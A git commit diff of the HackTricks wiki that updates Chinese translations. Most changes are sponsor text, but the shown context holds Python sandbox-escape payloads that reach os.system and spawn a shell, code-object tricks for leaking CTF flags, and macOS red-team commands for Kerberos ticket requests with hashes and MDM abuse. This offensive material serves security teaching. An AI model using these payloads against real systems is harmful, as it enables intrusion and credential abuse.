mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/python/byp
This commit is contained in:
parent
e07f818f14
commit
9de12d6f66
31 changed files with 483 additions and 482 deletions
24
README.md
24
README.md
|
@ -5,7 +5,7 @@
|
|||
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**欢迎来到这个维基,在这里你将找到我从CTF、现实应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。**
|
||||
**欢迎来到这个维基,在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。**
|
||||
{% endhint %}
|
||||
|
||||
要开始,请遵循此页面,在这里你将找到**你在进行一个或多个机器的渗透测试时应该遵循的典型流程:**
|
||||
|
@ -32,7 +32,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。该大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。
|
||||
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -57,7 +57,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由世界上**最先进**的社区工具提供支持。
|
||||
|
||||
今天获取访问权限:
|
||||
今天就获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -70,10 +70,10 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||
|
||||
* **黑客见解**:参与深入探讨黑客的刺激和挑战的内容
|
||||
* **实时黑客新闻**:通过实时新闻和见解,跟上快速变化的黑客世界
|
||||
* **最新公告**:了解即将推出的最新漏洞赏金和重要平台更新
|
||||
* **实时黑客新闻**:通过实时新闻和见解跟上快速变化的黑客世界
|
||||
* **最新公告**:了解最新的漏洞赏金发布和重要平台更新
|
||||
|
||||
**加入我们,访问** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
|
||||
**今天就加入我们,** [**Discord**](https://discord.com/invite/N3FrSbmwdy),开始与顶级黑客合作吧!
|
||||
|
||||
***
|
||||
|
||||
|
@ -81,9 +81,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待你的网络应用、网络和云
|
||||
**从黑客的角度看待你的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让你提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将你的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让你提升权限的安全问题,并使用自动化利用收集重要证据,将你的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -98,7 +98,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
**SerpApi** 提供快速且简单的实时API,以**访问搜索引擎结果**。他们抓取搜索引擎,处理代理,解决验证码,并为你解析所有丰富的结构化数据。
|
||||
|
||||
订阅SerpApi的计划之一包括访问超过50个不同的API,用于抓取不同的搜索引擎,包括Google、Bing、百度、Yahoo、Yandex等。\
|
||||
订阅SerpApi的计划之一包括访问50多个不同的API,用于抓取不同的搜索引擎,包括Google、Bing、百度、Yahoo、Yandex等。\
|
||||
与其他提供商不同,**SerpApi不仅仅抓取自然结果**。SerpApi的响应始终包括所有广告、内嵌图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。
|
||||
|
||||
当前的SerpApi客户包括**Apple、Shopify和GrubHub**。\
|
||||
|
@ -113,9 +113,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,帮助**保护**全球企业免受最新网络安全威胁,通过提供**进攻性安全服务**以**现代**的方式。
|
||||
|
||||
WebSec 是一家**一体化安全公司**,这意味着他们提供所有服务;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等。
|
||||
WebSec是一家**一体化安全公司**,这意味着他们可以做所有事情;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等等。
|
||||
|
||||
WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的技能**非常自信**,以至于他们**保证最佳质量的结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||
WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的技能**非常自信**,以至于他们**保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||
|
||||
除了上述内容,WebSec还是**HackTricks的坚定支持者**。
|
||||
|
||||
|
@ -142,7 +142,7 @@ WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass),或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**在Twitter上关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,9 +17,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度审视您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -60,7 +60,7 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
记住,_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** 以 **绕过** 沙箱。
|
||||
记住,_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** 来 **绕过** 沙箱。
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
|
||||
|
@ -201,11 +201,11 @@ class _:pass
|
|||
```
|
||||
### RCE 创建对象和重载
|
||||
|
||||
如果你可以 **声明一个类** 并 **创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **不需要直接调用** 的情况下 **被触发**。
|
||||
如果你可以 **声明一个类** 并 **创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **不需要直接调用它们** 的情况下被 **触发**。
|
||||
|
||||
#### 使用自定义类的 RCE
|
||||
|
||||
你可以修改一些 **类方法**(_通过覆盖现有类方法或创建新类_),使它们在 **被触发** 时 **执行任意代码**,而无需直接调用它们。
|
||||
你可以修改一些 **类方法**(_通过覆盖现有类方法或创建一个新类_),使它们在 **触发** 时 **执行任意代码**,而无需直接调用它们。
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -274,7 +274,7 @@ Sub['import os; os.system("sh")']
|
|||
```
|
||||
#### 创建带有异常的对象
|
||||
|
||||
当**异常被触发**时,**Exception**的一个对象会被**创建**,而无需您直接调用构造函数(来自[**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)的技巧):
|
||||
当**异常被触发**时,**Exception**的一个对象会被**创建**,而无需您直接调用构造函数(来自[**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)的一个技巧):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -338,7 +338,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
### No Builtins
|
||||
|
||||
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有的全局函数**(如 `open`、`import`、`print`...)**都没有加载**。\
|
||||
然而,**默认情况下,python 会在内存中导入很多模块**。这些模块看似无害,但其中一些 **也在内部导入危险** 的功能,可以被访问以获得 **任意代码执行**。
|
||||
然而,**默认情况下,python 会在内存中导入很多模块**。这些模块看起来可能是无害的,但其中一些 **也在内部导入危险** 的功能,可以被访问以获得 **任意代码执行**。
|
||||
|
||||
在以下示例中,你可以观察到如何 **滥用** 一些被加载的 "**无害**" 模块,以 **访问** **危险** **功能**。
|
||||
|
||||
|
@ -424,11 +424,11 @@ class_obj.__init__.__globals__
|
|||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 来查找数十/**数百**个 **位置**,您可以找到 **globals**。
|
||||
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **位置**,您可以找到 **globals**。
|
||||
|
||||
## 发现任意执行
|
||||
|
||||
在这里,我想解释如何轻松发现 **加载的更危险功能** 并提出更可靠的利用。
|
||||
在这里,我想解释如何轻松发现 **更危险的功能** 并提出更可靠的利用方法。
|
||||
|
||||
#### 通过绕过访问子类
|
||||
|
||||
|
@ -561,7 +561,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
|||
## 递归搜索内置对象、全局变量...
|
||||
|
||||
{% hint style="warning" %}
|
||||
这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本**递归查找可以找到该对象的地方。**
|
||||
这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本来**递归查找可以找到该对象的地方。**
|
||||
{% endhint %}
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
@ -686,7 +686,7 @@ main()
|
|||
|
||||
## Python 格式字符串
|
||||
|
||||
如果您**发送**一个将要**格式化**的**字符串**给python,您可以使用`{}`来访问**python内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如。
|
||||
如果您**发送**一个**字符串**给 python,该字符串将被**格式化**,您可以使用 `{}` 来访问**python 内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如。
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
|
@ -726,7 +726,7 @@ return 'HAL 9000'
|
|||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**更多关于** **格式** **字符串** 示例的例子可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
|
||||
**更多关于** **格式** **字符串** **的示例** 可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
|
||||
|
||||
{% hint style="danger" %}
|
||||
还请查看以下页面,了解将从 Python 内部对象中读取敏感信息的工具:
|
||||
|
@ -794,10 +794,10 @@ pydll = LibraryLoader(PyDLL)
|
|||
## 解剖 Python 对象
|
||||
|
||||
{% hint style="info" %}
|
||||
如果你想深入**了解** **python 字节码**,请阅读这篇关于该主题的**精彩**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
如果你想深入了解 **python 字节码**,请阅读这篇关于该主题的 **精彩** 文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
在某些 CTF 中,你可能会被提供一个**自定义函数的名称,其中包含标志**,你需要查看**函数**的**内部**以提取它。
|
||||
在一些 CTF 中,你可能会被提供一个 **自定义函数的名称,其中包含标志**,你需要查看 **函数** 的 **内部** 以提取它。
|
||||
|
||||
这是要检查的函数:
|
||||
```python
|
||||
|
@ -920,7 +920,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
注意,**如果你无法在python沙箱中导入`dis`**,你可以获取函数的**字节码**(`get_flag.func_code.co_code`)并在本地**反汇编**它。你不会看到正在加载的变量的内容(`LOAD_CONST`),但你可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉正在加载的变量的偏移量。
|
||||
注意,如果**您无法在python沙箱中导入`dis`**,您可以获取函数的**字节码**(`get_flag.func_code.co_code`)并在本地**反汇编**它。您将看不到正在加载的变量的内容(`LOAD_CONST`),但您可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉您正在加载的变量的偏移量。
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -945,7 +945,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
## 编译 Python
|
||||
|
||||
现在,让我们想象一下,您可以以某种方式**转储您无法执行的函数的信息**,但您**需要**去**执行**它。\
|
||||
就像在以下示例中,您**可以访问该函数的代码对象**,但仅仅通过读取反汇编,您**不知道如何计算标志**(_想象一个更复杂的 `calc_flag` 函数_)
|
||||
就像在以下示例中,您**可以访问该函数的代码对象**,但仅通过读取反汇编,您**不知道如何计算标志**(_想象一个更复杂的 `calc_flag` 函数_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -991,7 +991,7 @@ types.CodeType.__doc__
|
|||
### 重建泄露的函数
|
||||
|
||||
{% hint style="warning" %}
|
||||
在以下示例中,我们将直接从函数代码对象中获取重建函数所需的所有数据。在一个**真实的例子**中,执行函数**`code_type`**所需的所有**值**就是**你需要泄露的**内容。
|
||||
在以下示例中,我们将直接从函数代码对象获取重建函数所需的所有数据。在一个**真实的例子**中,执行函数**`code_type`**所需的所有**值**就是**你需要泄露的**。
|
||||
{% endhint %}
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
|
@ -1005,7 +1005,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### 绕过防御
|
||||
|
||||
在本文开头的前几个例子中,您可以看到**如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以**在一行中执行整个脚本**,包括循环和其他内容(我们也可以使用**`exec`**做到这一点)。\
|
||||
在本文开头的前几个例子中,您可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以 **在一行中执行整个脚本**,包括循环和其他内容(我们也可以使用 **`exec`** 做同样的事情)。\
|
||||
无论如何,有时在本地机器上 **创建** 一个 **编译对象** 并在 **CTF 机器** 上执行它可能是有用的(例如,因为我们在 CTF 中没有 `compiled` 函数)。
|
||||
|
||||
例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数:
|
||||
|
@ -1080,9 +1080,9 @@ print(f"\nNot a Super User!!!\n")
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用程序、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -1096,7 +1096,7 @@ print(f"\nNot a Super User!!!\n")
|
|||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度审视您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -28,7 +28,7 @@
|
|||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
如果您设法**获取管理员凭据**以访问管理平台,您可以**潜在地危害所有计算机**,通过在机器上分发恶意软件。
|
||||
如果您设法 **获取管理员凭据** 以访问管理平台,您可以 **潜在地危害所有计算机**,通过在机器上分发您的恶意软件。
|
||||
|
||||
在 MacOS 环境中进行红队活动,强烈建议对 MDM 的工作原理有一定了解:
|
||||
|
||||
|
@ -44,7 +44,7 @@ MDM 将有权限安装、查询或删除配置文件,安装应用程序,创
|
|||
|
||||
然而,要在注册设备上安装应用程序,您仍然需要它由开发者帐户签名... 然而,在 MDM 注册时,**设备将 MDM 的 SSL 证书添加为受信任的 CA**,因此您现在可以签署任何内容。
|
||||
|
||||
要将设备注册到 MDM,您需要以 root 身份安装一个 **`mobileconfig`** 文件,这可以通过 **pkg** 文件传递(您可以将其压缩为 zip,当从 Safari 下载时将被解压)。
|
||||
要将设备注册到 MDM,您需要以 root 身份安装 **`mobileconfig`** 文件,这可以通过 **pkg** 文件传递(您可以将其压缩为 zip,当从 Safari 下载时将被解压)。
|
||||
|
||||
**Mythic agent Orthrus** 使用了这种技术。
|
||||
|
||||
|
@ -125,7 +125,7 @@ sudo jamf policy -id 0
|
|||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Active Directory
|
||||
## 活动目录
|
||||
|
||||
在某些情况下,你会发现 **MacOS 计算机连接到 AD**。在这种情况下,你应该尝试**枚举**活动目录,就像你习惯的那样。在以下页面中找到一些**帮助**:
|
||||
|
||||
|
@ -220,14 +220,14 @@ bifrost --action asktgt --username test_lab_admin \
|
|||
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
||||
--username [user] --hash [hash] --enctype [enctype]
|
||||
```
|
||||
通过获取的服务票证,可以尝试访问其他计算机上的共享:
|
||||
通过获得的服务票证,可以尝试访问其他计算机上的共享:
|
||||
```bash
|
||||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
```
|
||||
## 访问钥匙串
|
||||
|
||||
钥匙串很可能包含敏感信息,如果在没有生成提示的情况下访问,可能有助于推进红队演习:
|
||||
钥匙串很可能包含敏感信息,如果在没有生成提示的情况下访问,可能有助于推进红队演练:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -245,7 +245,7 @@ MacOS 红队与常规 Windows 红队不同,因为通常 **MacOS 直接与多
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
|
||||
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
|
||||
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
|
||||
|
@ -255,15 +255,15 @@ MacOS 红队与常规 Windows 红队不同,因为通常 **MacOS 直接与多
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看您的网络应用、网络和云
|
||||
**获取黑客对您的网络应用程序、网络和云的看法**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,15 +17,15 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**OPC UA**,即 **开放平台通信统一访问**,是一个重要的开源协议,广泛应用于制造、能源、航空航天和国防等行业的数据交换和设备控制。它独特地使不同供应商的设备能够进行通信,特别是与 PLC 的通信。
|
||||
**OPC UA**,即 **开放平台通信统一访问**,是一个关键的开源协议,广泛应用于制造、能源、航空航天和国防等行业的数据交换和设备控制。它独特地使不同供应商的设备能够进行通信,特别是与 PLC 的通信。
|
||||
|
||||
其配置允许强大的安全措施,但通常为了与旧设备的兼容性,这些措施会减弱,从而使系统面临风险。此外,查找 OPC UA 服务可能很棘手,因为网络扫描仪可能无法检测到它们,如果它们位于非标准端口上。
|
||||
|
||||
|
@ -44,7 +44,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
|||
|
||||
如果发现身份验证绕过漏洞,可以相应地配置 [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/),查看可以访问的内容。这可能允许从仅仅读取过程值到实际操作重型工业设备的任何事情。
|
||||
|
||||
要获取您可以访问的设备的线索,请在地址空间中读取“ServerStatus”节点值,并在谷歌上搜索使用手册。
|
||||
要获取您可以访问的设备的线索,请在地址空间中读取“ServerStatus”节点值,并在谷歌上查找使用手册。
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -56,7 +56,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@
|
|||
|
||||
